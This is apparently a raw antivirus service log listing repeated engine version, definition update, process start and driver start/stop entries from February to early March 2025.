AVAVER: 21.2.2455 AR2: 250110 defs: 25020802 2025-02-08 20:03:52 ARPOT2: Start 9876 2025-02-08 20:03:52 AR2CFG: 250116 VPS 2025-02-08 20:03:52 AR2DEV: Start 1 Driver: 210305 2025-02-08 20:03:52 AR2DEV: Stopped 1 2025-02-08 20:03:52 AVAVER: 21.2.2455 AR2: 250110 defs: 25020802 2025-02-08 20:03:52 ARPOT2: Start 9300 2025-02-08 20:03:52 AR2CFG: 250116 VPS 2025-02-08 20:03:52 AR2DEV: Start 1 Driver: 210305 2025-02-09 04:05:07 AR2DEV: Stopped 1 2025-02-09 04:05:07 AVAVER: 21.2.2455 AR2: 250110 defs: 25020804 2025-02-09 04:05:07 ARPOT2: Start 5084 2025-02-09 04:05:07 AR2CFG: 250116 VPS 2025-02-09 04:05:07 AR2DEV: Start 1 Driver: 210305 2025-02-09 04:05:11 AR2DEV: Stopped 1 2025-02-09 04:05:11 AVAVER: 21.2.2455 AR2: 250110 defs: 25020804 2025-02-09 04:05:11 ARPOT2: Start 10292 2025-02-09 04:05:11 AR2CFG: 250116 VPS 2025-02-09 04:05:11 AR2DEV: Start 1 Driver: 210305 2025-02-09 16:06:19 AR2DEV: Stopped 1 2025-02-09 16:06:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25020900 2025-02-09 16:06:20 ARPOT2: Start 10416 2025-02-09 16:06:20 AR2CFG: 250116 VPS 2025-02-09 16:06:20 AR2DEV: Start 1 Driver: 210305 2025-02-09 16:06:20 AR2DEV: Stopped 1 2025-02-09 16:06:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25020900 2025-02-09 16:06:20 ARPOT2: Start 10484 2025-02-09 16:06:20 AR2CFG: 250116 VPS 2025-02-09 16:06:20 AR2DEV: Start 1 Driver: 210305 2025-02-09 20:07:31 AR2DEV: Stopped 1 2025-02-09 20:07:31 AVAVER: 21.2.2455 AR2: 250110 defs: 25020902 2025-02-09 20:07:31 ARPOT2: Start 8488 2025-02-09 20:07:32 AR2CFG: 250116 VPS 2025-02-09 20:07:32 AR2DEV: Start 1 Driver: 210305 2025-02-09 20:07:32 AR2DEV: Stopped 1 2025-02-09 20:07:32 AVAVER: 21.2.2455 AR2: 250110 defs: 25020902 2025-02-09 20:07:32 ARPOT2: Start 10596 2025-02-09 20:07:32 AR2CFG: 250116 VPS 2025-02-09 20:07:32 AR2DEV: Start 1 Driver: 210305 2025-02-10 04:08:40 AR2DEV: Stopped 1 2025-02-10 04:08:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25020904 2025-02-10 04:08:40 ARPOT2: Start 8964 2025-02-10 04:08:40 AR2CFG: 250116 VPS 2025-02-10 04:08:40 AR2DEV: Start 1 Driver: 210305 2025-02-10 04:08:41 AR2DEV: Stopped 1 2025-02-10 04:08:41 AVAVER: 21.2.2455 AR2: 250110 defs: 25020904 2025-02-10 04:08:41 ARPOT2: Start 11244 2025-02-10 04:08:41 AR2CFG: 250116 VPS 2025-02-10 04:08:41 AR2DEV: Start 1 Driver: 210305 2025-02-10 16:10:03 AR2DEV: Stopped 1 2025-02-10 16:10:03 AVAVER: 21.2.2455 AR2: 250110 defs: 25021000 2025-02-10 16:10:03 ARPOT2: Start 10920 2025-02-10 16:10:03 AR2CFG: 250116 VPS 2025-02-10 16:10:03 AR2DEV: Start 1 Driver: 210305 2025-02-10 16:10:06 AR2DEV: Stopped 1 2025-02-10 16:10:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25021000 2025-02-10 16:10:06 ARPOT2: Start 11204 2025-02-10 16:10:06 AR2CFG: 250116 VPS 2025-02-10 16:10:06 AR2DEV: Start 1 Driver: 210305 2025-02-11 00:11:37 AR2DEV: Stopped 1 2025-02-11 00:11:37 AVAVER: 21.2.2455 AR2: 250110 defs: 25021006 2025-02-11 00:11:37 ARPOT2: Start 9768 2025-02-11 00:11:37 AR2CFG: 250207 VPS 2025-02-11 00:11:37 AR2DEV: Start 1 Driver: 210305 2025-02-11 00:11:37 AR2DEV: Stopped 1 2025-02-11 00:11:37 AVAVER: 21.2.2455 AR2: 250110 defs: 25021006 2025-02-11 00:11:37 ARPOT2: Start 8916 2025-02-11 00:11:37 AR2CFG: 250207 VPS 2025-02-11 00:11:37 AR2DEV: Start 1 Driver: 210305 2025-02-11 04:12:57 AR2DEV: Stopped 1 2025-02-11 04:12:57 AVAVER: 21.2.2455 AR2: 250110 defs: 25021008 2025-02-11 04:12:57 ARPOT2: Start 4580 2025-02-11 04:12:57 AR2CFG: 250207 VPS 2025-02-11 04:12:57 AR2DEV: Start 1 Driver: 210305 2025-02-11 04:12:58 AR2DEV: Stopped 1 2025-02-11 04:12:58 AVAVER: 21.2.2455 AR2: 250110 defs: 25021008 2025-02-11 04:12:58 ARPOT2: Start 10328 2025-02-11 04:12:58 AR2CFG: 250207 VPS 2025-02-11 04:12:58 AR2DEV: Start 1 Driver: 210305 2025-02-12 00:14:37 AR2DEV: Stopped 1 2025-02-12 00:14:37 AVAVER: 21.2.2455 AR2: 250110 defs: 25021106 2025-02-12 00:14:37 ARPOT2: Start 10844 2025-02-12 00:14:37 AR2CFG: 250207 VPS 2025-02-12 00:14:37 AR2DEV: Start 1 Driver: 210305 2025-02-12 00:14:39 AR2DEV: Stopped 1 2025-02-12 00:14:39 AVAVER: 21.2.2455 AR2: 250110 defs: 25021106 2025-02-12 00:14:39 ARPOT2: Start 9768 2025-02-12 00:14:39 AR2CFG: 250207 VPS 2025-02-12 00:14:39 AR2DEV: Start 1 Driver: 210305 2025-02-12 04:16:02 AR2DEV: Stopped 1 2025-02-12 04:16:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25021108 2025-02-12 04:16:02 ARPOT2: Start 10620 2025-02-12 04:16:02 AR2CFG: 250207 VPS 2025-02-12 04:16:02 AR2DEV: Start 1 Driver: 210305 2025-02-12 04:16:02 AR2DEV: Stopped 1 2025-02-12 04:16:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25021108 2025-02-12 04:16:02 ARPOT2: Start 7884 2025-02-12 04:16:02 AR2CFG: 250207 VPS 2025-02-12 04:16:02 AR2DEV: Start 1 Driver: 210305 2025-02-12 08:17:12 AR2DEV: Stopped 1 2025-02-12 08:17:12 AVAVER: 21.2.2455 AR2: 250110 defs: 25021110 2025-02-12 08:17:12 ARPOT2: Start 10632 2025-02-12 08:17:12 AR2CFG: 250207 VPS 2025-02-12 08:17:12 AR2DEV: Start 1 Driver: 210305 2025-02-12 08:17:13 AR2DEV: Stopped 1 2025-02-12 08:17:13 AVAVER: 21.2.2455 AR2: 250110 defs: 25021110 2025-02-12 08:17:13 ARPOT2: Start 8916 2025-02-12 08:17:13 AR2CFG: 250207 VPS 2025-02-12 08:17:13 AR2DEV: Start 1 Driver: 210305 2025-02-13 04:18:50 AR2DEV: Stopped 1 2025-02-13 04:18:50 AVAVER: 21.2.2455 AR2: 250110 defs: 25021208 2025-02-13 04:18:50 ARPOT2: Start 11148 2025-02-13 04:18:50 AR2CFG: 250207 VPS 2025-02-13 04:18:50 AR2DEV: Start 1 Driver: 210305 2025-02-13 04:18:53 AR2DEV: Stopped 1 2025-02-13 04:18:53 AVAVER: 21.2.2455 AR2: 250110 defs: 25021208 2025-02-13 04:18:53 ARPOT2: Start 5084 2025-02-13 04:18:53 AR2CFG: 250207 VPS 2025-02-13 04:18:53 AR2DEV: Start 1 Driver: 210305 2025-02-13 08:19:57 AR2DEV: Stopped 1 2025-02-13 08:19:57 AVAVER: 21.2.2455 AR2: 250110 defs: 25021212 2025-02-13 08:19:57 ARPOT2: Start 11640 2025-02-13 08:19:57 AR2CFG: 250207 VPS 2025-02-13 08:19:57 AR2DEV: Start 1 Driver: 210305 2025-02-13 08:19:58 AR2DEV: Stopped 1 2025-02-13 08:19:58 AVAVER: 21.2.2455 AR2: 250110 defs: 25021212 2025-02-13 08:19:58 ARPOT2: Start 11780 2025-02-13 08:19:58 AR2CFG: 250207 VPS 2025-02-13 08:19:58 AR2DEV: Start 1 Driver: 210305 2025-02-13 20:21:26 AR2DEV: Stopped 1 2025-02-13 20:21:26 AVAVER: 21.2.2455 AR2: 250110 defs: 25021304 2025-02-13 20:21:26 ARPOT2: Start 10656 2025-02-13 20:21:26 AR2CFG: 250207 VPS 2025-02-13 20:21:26 AR2DEV: Start 1 Driver: 210305 2025-02-13 20:21:27 AR2DEV: Stopped 1 2025-02-13 20:21:27 AVAVER: 21.2.2455 AR2: 250110 defs: 25021304 2025-02-13 20:21:27 ARPOT2: Start 10512 2025-02-13 20:21:27 AR2CFG: 250207 VPS 2025-02-13 20:21:27 AR2DEV: Start 1 Driver: 210305 2025-02-14 04:22:34 AR2DEV: Stopped 1 2025-02-14 04:22:34 AVAVER: 21.2.2455 AR2: 250110 defs: 25021306 2025-02-14 04:22:34 ARPOT2: Start 11016 2025-02-14 04:22:34 AR2CFG: 250207 VPS 2025-02-14 04:22:34 AR2DEV: Start 1 Driver: 210305 2025-02-14 04:22:38 AR2DEV: Stopped 1 2025-02-14 04:22:38 AVAVER: 21.2.2455 AR2: 250110 defs: 25021306 2025-02-14 04:22:38 ARPOT2: Start 10320 2025-02-14 04:22:38 AR2CFG: 250207 VPS 2025-02-14 04:22:38 AR2DEV: Start 1 Driver: 210305 2025-02-14 08:23:35 AR2DEV: Stopped 1 2025-02-14 08:23:35 AVAVER: 21.2.2455 AR2: 250110 defs: 25021310 2025-02-14 08:23:35 ARPOT2: Start 11768 2025-02-14 08:23:35 AR2CFG: 250207 VPS 2025-02-14 08:23:35 AR2DEV: Start 1 Driver: 210305 2025-02-14 08:23:36 AR2DEV: Stopped 1 2025-02-14 08:23:36 AVAVER: 21.2.2455 AR2: 250110 defs: 25021310 2025-02-14 08:23:36 ARPOT2: Start 10956 2025-02-14 08:23:36 AR2CFG: 250207 VPS 2025-02-14 08:23:36 AR2DEV: Start 1 Driver: 210305 2025-02-14 16:24:50 AR2DEV: Stopped 1 2025-02-14 16:24:50 AVAVER: 21.2.2455 AR2: 250110 defs: 25021400 2025-02-14 16:24:50 ARPOT2: Start 11400 2025-02-14 16:24:50 AR2CFG: 250207 VPS 2025-02-14 16:24:51 AR2DEV: Start 1 Driver: 210305 2025-02-14 16:24:51 AR2DEV: Stopped 1 2025-02-14 16:24:51 AVAVER: 21.2.2455 AR2: 250110 defs: 25021400 2025-02-14 16:24:51 ARPOT2: Start 11912 2025-02-14 16:24:51 AR2CFG: 250207 VPS 2025-02-14 16:24:51 AR2DEV: Start 1 Driver: 210305 2025-02-15 00:26:06 AR2DEV: Stopped 1 2025-02-15 00:26:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25021404 2025-02-15 00:26:06 ARPOT2: Start 10044 2025-02-15 00:26:06 AR2CFG: 250207 VPS 2025-02-15 00:26:06 AR2DEV: Start 1 Driver: 210305 2025-02-15 00:26:06 AR2DEV: Stopped 1 2025-02-15 00:26:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25021404 2025-02-15 00:26:06 ARPOT2: Start 12284 2025-02-15 00:26:07 AR2CFG: 250207 VPS 2025-02-15 00:26:07 AR2DEV: Start 1 Driver: 210305 2025-02-15 04:27:18 AR2DEV: Stopped 1 2025-02-15 04:27:18 AVAVER: 21.2.2455 AR2: 250110 defs: 25021406 2025-02-15 04:27:18 ARPOT2: Start 11148 2025-02-15 04:27:18 AR2CFG: 250207 VPS 2025-02-15 04:27:18 AR2DEV: Start 1 Driver: 210305 2025-02-15 04:27:18 AR2DEV: Stopped 1 2025-02-15 04:27:18 AVAVER: 21.2.2455 AR2: 250110 defs: 25021406 2025-02-15 04:27:18 ARPOT2: Start 7804 2025-02-15 04:27:18 AR2CFG: 250207 VPS 2025-02-15 04:27:18 AR2DEV: Start 1 Driver: 210305 2025-02-15 16:29:14 AR2DEV: Stopped 1 2025-02-15 16:29:15 AVAVER: 21.2.2455 AR2: 250110 defs: 25021500 2025-02-15 16:29:15 ARPOT2: Start 10112 2025-02-15 16:29:15 AR2CFG: 250207 VPS 2025-02-15 16:29:15 AR2DEV: Start 1 Driver: 210305 2025-02-15 16:29:21 AR2DEV: Stopped 1 2025-02-15 16:29:21 AVAVER: 21.2.2455 AR2: 250110 defs: 25021500 2025-02-15 16:29:21 ARPOT2: Start 11152 2025-02-15 16:29:21 AR2CFG: 250207 VPS 2025-02-15 16:29:21 AR2DEV: Start 1 Driver: 210305 2025-02-15 20:31:20 AR2DEV: Stopped 1 2025-02-15 20:31:21 AVAVER: 21.2.2455 AR2: 250110 defs: 25021504 2025-02-15 20:31:21 ARPOT2: Start 7332 2025-02-15 20:31:21 AR2CFG: 250207 VPS 2025-02-15 20:31:21 AR2DEV: Start 1 Driver: 210305 2025-02-15 20:31:25 AR2DEV: Stopped 1 2025-02-15 20:31:25 AVAVER: 21.2.2455 AR2: 250110 defs: 25021504 2025-02-15 20:31:25 ARPOT2: Start 6280 2025-02-15 20:31:25 AR2CFG: 250207 VPS 2025-02-15 20:31:25 AR2DEV: Start 1 Driver: 210305 2025-02-16 04:33:01 AR2DEV: Stopped 1 2025-02-16 04:33:01 AVAVER: 21.2.2455 AR2: 250110 defs: 25021506 2025-02-16 04:33:01 ARPOT2: Start 9948 2025-02-16 04:33:01 AVAVER: 21.2.2455 AR2: 250110 defs: 25021506 2025-02-16 04:33:01 ARPOT2: Start 3044 2025-02-16 04:33:01 AR2CFG: 250207 VPS 2025-02-16 04:33:01 AR2DEV: Start 1 Driver: 210305 2025-02-16 08:34:35 AR2DEV: Stopped 1 2025-02-16 08:34:35 AVAVER: 21.2.2455 AR2: 250110 defs: 25021508 2025-02-16 08:34:35 ARPOT2: Start 2668 2025-02-16 08:34:35 AR2CFG: 250207 VPS 2025-02-16 08:34:35 AR2DEV: Start 1 Driver: 210305 2025-02-16 08:34:37 AR2DEV: Stopped 1 2025-02-16 08:34:37 AVAVER: 21.2.2455 AR2: 250110 defs: 25021508 2025-02-16 08:34:37 ARPOT2: Start 11888 2025-02-16 08:34:37 AR2CFG: 250207 VPS 2025-02-16 08:34:37 AR2DEV: Start 1 Driver: 210305 2025-02-16 16:36:13 AR2DEV: Stopped 1 2025-02-16 16:36:13 AVAVER: 21.2.2455 AR2: 250110 defs: 25021600 2025-02-16 16:36:13 ARPOT2: Start 11800 2025-02-16 16:36:13 AR2CFG: 250207 VPS 2025-02-16 16:36:13 AR2DEV: Start 1 Driver: 210305 2025-02-16 16:36:13 AR2DEV: Stopped 1 2025-02-16 16:36:13 AVAVER: 21.2.2455 AR2: 250110 defs: 25021600 2025-02-16 16:36:13 ARPOT2: Start 2948 2025-02-16 16:36:13 AR2CFG: 250207 VPS 2025-02-16 16:36:13 AR2DEV: Start 1 Driver: 210305 2025-02-17 04:38:09 AR2DEV: Stopped 1 2025-02-17 04:38:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25021604 2025-02-17 04:38:09 ARPOT2: Start 11596 2025-02-17 04:38:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25021604 2025-02-17 04:38:09 ARPOT2: Start 10528 2025-02-17 04:38:09 AR2CFG: 250207 VPS 2025-02-17 04:38:09 AR2DEV: Start 1 Driver: 210305 2025-02-17 08:40:15 AR2DEV: Stopped 1 2025-02-17 08:40:16 AVAVER: 21.2.2455 AR2: 250110 defs: 25021606 2025-02-17 08:40:16 ARPOT2: Start 8164 2025-02-17 08:40:16 AR2CFG: 250207 VPS 2025-02-17 08:40:16 AR2DEV: Start 1 Driver: 210305 2025-02-17 08:40:20 AR2DEV: Stopped 1 2025-02-17 08:40:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25021606 2025-02-17 08:40:20 ARPOT2: Start 12144 2025-02-17 08:40:20 AR2CFG: 250207 VPS 2025-02-17 08:40:20 AR2DEV: Start 1 Driver: 210305 2025-02-17 16:43:05 AR2DEV: Stopped 1 2025-02-17 16:43:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25021700 2025-02-17 16:43:06 ARPOT2: Start 11944 2025-02-17 16:43:06 AR2CFG: 250207 VPS 2025-02-17 16:43:06 AR2DEV: Start 1 Driver: 210305 2025-02-17 16:43:10 AR2DEV: Stopped 1 2025-02-17 16:43:10 AVAVER: 21.2.2455 AR2: 250110 defs: 25021700 2025-02-17 16:43:10 ARPOT2: Start 11304 2025-02-17 16:43:10 AR2CFG: 250207 VPS 2025-02-17 16:43:10 AR2DEV: Start 1 Driver: 210305 2025-02-18 00:46:41 AR2DEV: Stopped 1 2025-02-18 00:46:42 AVAVER: 21.2.2455 AR2: 250110 defs: 25021708 2025-02-18 00:46:42 ARPOT2: Start 2664 2025-02-18 00:46:42 AR2CFG: 250207 VPS 2025-02-18 00:46:42 AR2DEV: Start 1 Driver: 210305 2025-02-18 00:46:45 AR2DEV: Stopped 1 2025-02-18 00:46:45 AVAVER: 21.2.2455 AR2: 250110 defs: 25021708 2025-02-18 00:46:45 ARPOT2: Start 1992 2025-02-18 00:46:45 AR2CFG: 250207 VPS 2025-02-18 00:46:45 AR2DEV: Start 1 Driver: 210305 2025-02-18 04:49:55 AR2DEV: Stopped 1 2025-02-18 04:49:56 AVAVER: 21.2.2455 AR2: 250110 defs: 25021712 2025-02-18 04:49:56 ARPOT2: Start 8452 2025-02-18 04:49:56 AVAVER: 21.2.2455 AR2: 250110 defs: 25021712 2025-02-18 04:49:56 ARPOT2: Start 2664 2025-02-18 04:49:56 AR2CFG: 250207 VPS 2025-02-18 04:49:56 AR2DEV: Start 1 Driver: 210305 2025-02-18 20:53:33 AR2DEV: Stopped 1 2025-02-18 20:53:33 AVAVER: 21.2.2455 AR2: 250110 defs: 25021802 2025-02-18 20:53:33 ARPOT2: Start 8828 2025-02-18 20:53:33 AR2CFG: 250207 VPS 2025-02-18 20:53:34 AR2DEV: Start 1 Driver: 210305 2025-02-18 20:53:35 AR2DEV: Stopped 1 2025-02-18 20:53:35 AVAVER: 21.2.2455 AR2: 250110 defs: 25021802 2025-02-18 20:53:35 ARPOT2: Start 12212 2025-02-18 20:53:35 AR2CFG: 250207 VPS 2025-02-18 20:53:36 AR2DEV: Start 1 Driver: 210305 2025-02-19 00:57:48 AR2DEV: Stopped 1 2025-02-19 00:57:52 AVAVER: 21.2.2455 AR2: 250110 defs: 25021804 2025-02-19 00:57:52 ARPOT2: Start 7104 2025-02-19 00:57:52 AR2CFG: 250207 VPS 2025-02-19 00:57:52 AVAVER: 21.2.2455 AR2: 250110 defs: 25021804 2025-02-19 00:57:52 ARPOT2: Start 9804 2025-02-19 00:57:52 AR2CFG: 250207 VPS 2025-02-19 00:57:52 AR2DEV: Start 1 Driver: 210305 2025-02-19 17:02:55 AR2DEV: Stopped 1 2025-02-19 17:02:56 AVAVER: 21.2.2455 AR2: 250110 defs: 25021900 2025-02-19 17:02:56 ARPOT2: Start 11400 2025-02-19 17:02:56 AVAVER: 21.2.2455 AR2: 250110 defs: 25021900 2025-02-19 17:02:56 ARPOT2: Start 12160 2025-02-19 17:02:56 AR2CFG: 250207 VPS 2025-02-19 17:02:56 AR2DEV: Start 1 Driver: 210305 2025-02-19 21:08:46 AR2DEV: Stopped 1 2025-02-19 21:08:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25021902 2025-02-19 21:08:47 ARPOT2: Start 10024 2025-02-19 21:08:48 AVAVER: 21.2.2455 AR2: 250110 defs: 25021902 2025-02-19 21:08:48 ARPOT2: Start 9796 2025-02-19 21:08:48 AR2CFG: 250207 VPS 2025-02-19 21:08:49 AR2DEV: Start 1 Driver: 210305 2025-02-20 05:58:46 AR2DEV: Stopped 1 2025-02-20 05:58:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25021910 2025-02-20 05:58:47 ARPOT2: Start 13188 2025-02-20 05:58:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25021910 2025-02-20 05:58:47 ARPOT2: Start 14456 2025-02-20 05:58:47 AR2CFG: 250207 VPS 2025-02-20 05:58:48 AR2DEV: Start 1 Driver: 210305 2025-02-20 10:01:48 AR2DEV: Stopped 1 2025-02-20 10:01:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25021912 2025-02-20 10:01:49 ARPOT2: Start 15244 2025-02-20 10:01:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25021912 2025-02-20 10:01:49 ARPOT2: Start 12200 2025-02-20 10:01:49 AR2CFG: 250207 VPS 2025-02-20 10:01:50 AR2DEV: Start 1 Driver: 210305 2025-02-20 14:05:29 AR2DEV: Stopped 1 2025-02-20 14:05:30 AVAVER: 21.2.2455 AR2: 250110 defs: 25022000 2025-02-20 14:05:30 ARPOT2: Start 13608 2025-02-20 14:05:30 AVAVER: 21.2.2455 AR2: 250110 defs: 25022000 2025-02-20 14:05:30 ARPOT2: Start 14976 2025-02-20 14:05:30 AR2CFG: 250207 VPS 2025-02-20 14:05:30 AR2DEV: Start 1 Driver: 210305 2025-02-21 02:10:46 AR2DEV: Stopped 1 2025-02-21 02:10:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25022004 2025-02-21 02:10:48 ARPOT2: Start 14004 2025-02-21 02:10:48 AVAVER: 21.2.2455 AR2: 250110 defs: 25022004 2025-02-21 02:10:48 ARPOT2: Start 13624 2025-02-21 02:10:48 AR2CFG: 250207 VPS 2025-02-21 02:10:48 AR2DEV: Start 1 Driver: 210305 2025-02-21 14:16:00 AR2DEV: Stopped 1 2025-02-21 14:16:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25022100 2025-02-21 14:16:09 ARPOT2: Start 13400 2025-02-21 14:16:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25022100 2025-02-21 14:16:09 ARPOT2: Start 15540 2025-02-21 14:16:09 AR2CFG: 250207 VPS 2025-02-21 14:16:09 AR2DEV: Start 1 Driver: 210305 2025-02-21 18:21:57 AR2DEV: Stopped 1 2025-02-21 18:22:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25022102 2025-02-21 18:22:03 ARPOT2: Start 16604 2025-02-21 18:22:03 AR2CFG: 250207 VPS 2025-02-21 18:22:04 AVAVER: 21.2.2455 AR2: 250110 defs: 25022102 2025-02-21 18:22:05 ARPOT2: Start 17156 2025-02-21 18:22:05 AR2CFG: 250207 VPS 2025-02-21 18:22:07 AR2DEV: Start 1 Driver: 210305 2025-02-21 20:42:22 AR2DEV: Stopped 1 2025-02-21 20:42:23 AVAVER: 21.2.2455 AR2: 250110 defs: 25022104 2025-02-21 20:42:23 ARPOT2: Start 17948 2025-02-21 20:42:23 AVAVER: 21.2.2455 AR2: 250110 defs: 25022104 2025-02-21 20:42:23 ARPOT2: Start 16540 2025-02-21 20:42:24 AR2CFG: 250207 VPS 2025-02-21 20:42:25 AR2DEV: Start 1 Driver: 210305 2025-02-22 00:47:06 AR2DEV: Stopped 1 2025-02-22 00:47:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25022106 2025-02-22 00:47:09 ARPOT2: Start 16176 2025-02-22 00:47:09 AR2CFG: 250207 VPS 2025-02-22 00:47:09 AVAVER: 21.2.2455 AR2: 250110 defs: 25022106 2025-02-22 00:47:09 ARPOT2: Start 25260 2025-02-22 00:47:09 AR2CFG: 250207 VPS 2025-02-22 00:47:11 AR2DEV: Start 1 Driver: 210305 2025-02-22 04:51:52 AR2DEV: Stopped 1 2025-02-22 04:51:53 AVAVER: 21.2.2455 AR2: 250110 defs: 25022108 2025-02-22 04:51:53 ARPOT2: Start 24176 2025-02-22 04:51:53 AVAVER: 21.2.2455 AR2: 250110 defs: 25022108 2025-02-22 04:51:53 ARPOT2: Start 25128 2025-02-22 04:51:53 AR2CFG: 250207 VPS 2025-02-22 04:51:54 AR2DEV: Start 1 Driver: 210305 2025-02-22 16:56:35 AR2DEV: Stopped 1 2025-02-22 16:56:36 AVAVER: 21.2.2455 AR2: 250110 defs: 25022200 2025-02-22 16:56:36 ARPOT2: Start 14848 2025-02-22 16:56:36 AR2CFG: 250207 VPS 2025-02-22 16:56:36 AR2DEV: Start 1 Driver: 210305 2025-02-22 16:56:40 AR2DEV: Stopped 1 2025-02-22 16:56:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25022200 2025-02-22 16:56:40 ARPOT2: Start 22576 2025-02-22 16:56:40 AR2CFG: 250207 VPS 2025-02-22 16:56:40 AR2DEV: Start 1 Driver: 210305 2025-02-22 21:00:59 AR2DEV: Stopped 1 2025-02-22 21:01:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25022202 2025-02-22 21:01:02 ARPOT2: Start 25104 2025-02-22 21:01:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25022202 2025-02-22 21:01:02 ARPOT2: Start 21420 2025-02-22 21:01:02 AR2CFG: 250207 VPS 2025-02-22 21:01:03 AR2DEV: Start 1 Driver: 210305 2025-02-23 01:06:35 AR2DEV: Stopped 1 2025-02-23 01:06:38 AVAVER: 21.2.2455 AR2: 250110 defs: 25022204 2025-02-23 01:06:38 ARPOT2: Start 21636 2025-02-23 01:06:39 AVAVER: 21.2.2455 AR2: 250110 defs: 25022204 2025-02-23 01:06:39 ARPOT2: Start 7764 2025-02-23 01:06:39 AR2CFG: 250207 VPS 2025-02-23 01:06:40 AR2DEV: Start 1 Driver: 210305 2025-02-23 05:12:31 AR2DEV: Stopped 1 2025-02-23 05:12:33 AVAVER: 21.2.2455 AR2: 250110 defs: 25022206 2025-02-23 05:12:33 ARPOT2: Start 19828 2025-02-23 05:12:34 AVAVER: 21.2.2455 AR2: 250110 defs: 25022206 2025-02-23 05:12:34 ARPOT2: Start 23068 2025-02-23 05:12:34 AR2CFG: 250207 VPS 2025-02-23 05:12:37 AR2DEV: Start 1 Driver: 210305 2025-02-23 13:49:14 AR2DEV: Stopped 1 2025-02-23 13:49:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25022300 2025-02-23 13:49:20 ARPOT2: Start 24672 2025-02-23 13:49:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25022300 2025-02-23 13:49:20 ARPOT2: Start 20912 2025-02-23 13:49:20 AR2CFG: 250207 VPS 2025-02-23 13:49:22 AR2DEV: Start 1 Driver: 210305 2025-02-23 21:55:44 AR2DEV: Stopped 1 2025-02-23 21:55:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25022302 2025-02-23 21:55:49 ARPOT2: Start 24320 2025-02-23 21:55:49 AVAVER: 21.2.2455 AR2: 250110 defs: 25022302 2025-02-23 21:55:49 ARPOT2: Start 20120 2025-02-23 21:55:49 AR2CFG: 250207 VPS 2025-02-23 21:55:50 AR2DEV: Start 1 Driver: 210305 2025-02-24 00:46:30 AR2DEV: Stopped 1 2025-02-24 00:46:33 AVAVER: 21.2.2455 AR2: 250110 defs: 25022304 2025-02-24 00:46:33 ARPOT2: Start 16332 2025-02-24 00:46:33 AVAVER: 21.2.2455 AR2: 250110 defs: 25022304 2025-02-24 00:46:33 ARPOT2: Start 22620 2025-02-24 00:46:34 AR2CFG: 250207 VPS 2025-02-24 00:46:34 AR2DEV: Start 1 Driver: 210305 2025-02-24 11:05:42 AVAVER: 21.2.2455 AR2: 250110 defs: 25022304 2025-02-24 11:05:42 ARPOT2: Start 23872 2025-02-24 11:05:43 AR2CFG: 250207 VPS 2025-02-24 11:05:43 AR2DEV: Start 1 Driver: 210305 2025-02-28 01:34:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25022304 2025-02-28 01:34:40 ARPOT2: Start 2964 2025-02-28 01:35:50 AVAVER: 21.2.2455 AR2: 250110 defs: 25022710 2025-02-28 01:35:50 ARPOT2: Start 4884 2025-02-28 01:35:51 AVAVER: 21.2.2455 AR2: 250110 defs: 25022710 2025-02-28 01:35:51 ARPOT2: Start 4888 2025-02-28 01:43:37 AR2CFG: 250226 VPS 2025-02-28 01:43:37 AR2DEV: Start 1 Driver: 210305 2025-02-28 08:53:16 AR2DEV: Stopped 1 2025-02-28 08:54:30 AVAVER: 21.2.2455 AR2: 250110 defs: 25022710 2025-02-28 08:54:30 ARPOT2: Start 2264 2025-02-28 09:03:57 AR2CFG: 250226 VPS 2025-02-28 09:03:57 AR2DEV: Start 1 Driver: 210305 2025-02-28 16:55:28 AR2DEV: Stopped 1 2025-02-28 16:55:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25022800 2025-02-28 16:55:28 ARPOT2: Start 1120 2025-02-28 16:55:29 AR2CFG: 250226 VPS 2025-02-28 16:55:29 AR2DEV: Start 1 Driver: 210305 2025-02-28 16:55:29 AR2DEV: Stopped 1 2025-02-28 16:55:29 AVAVER: 21.2.2455 AR2: 250110 defs: 25022800 2025-02-28 16:55:29 ARPOT2: Start 5792 2025-02-28 16:55:29 AR2CFG: 250226 VPS 2025-02-28 16:55:29 AR2DEV: Start 1 Driver: 210305 2025-02-28 20:56:54 AR2DEV: Stopped 1 2025-02-28 20:56:54 AVAVER: 21.2.2455 AR2: 250110 defs: 25022804 2025-02-28 20:56:54 ARPOT2: Start 5808 2025-02-28 20:56:54 AR2CFG: 250226 VPS 2025-02-28 20:56:55 AR2DEV: Start 1 Driver: 210305 2025-02-28 20:56:55 AR2DEV: Stopped 1 2025-02-28 20:56:55 AVAVER: 21.2.2455 AR2: 250110 defs: 25022804 2025-02-28 20:56:55 ARPOT2: Start 4436 2025-02-28 20:56:55 AR2CFG: 250226 VPS 2025-02-28 20:56:55 AR2DEV: Start 1 Driver: 210305 2025-03-01 05:32:43 AVAVER: 21.2.2455 AR2: 250110 defs: 25022804 2025-03-01 05:32:43 ARPOT2: Start 1456 2025-03-01 05:32:43 AR2CFG: 250226 VPS 2025-03-01 05:32:44 AR2DEV: Start 1 Driver: 210305 2025-03-04 03:21:32 AR2DEV: Stopped 1 2025-03-04 03:22:34 AVAVER: 21.2.2455 AR2: 250110 defs: 25022804 2025-03-04 03:22:34 ARPOT2: Start 3024 2025-03-04 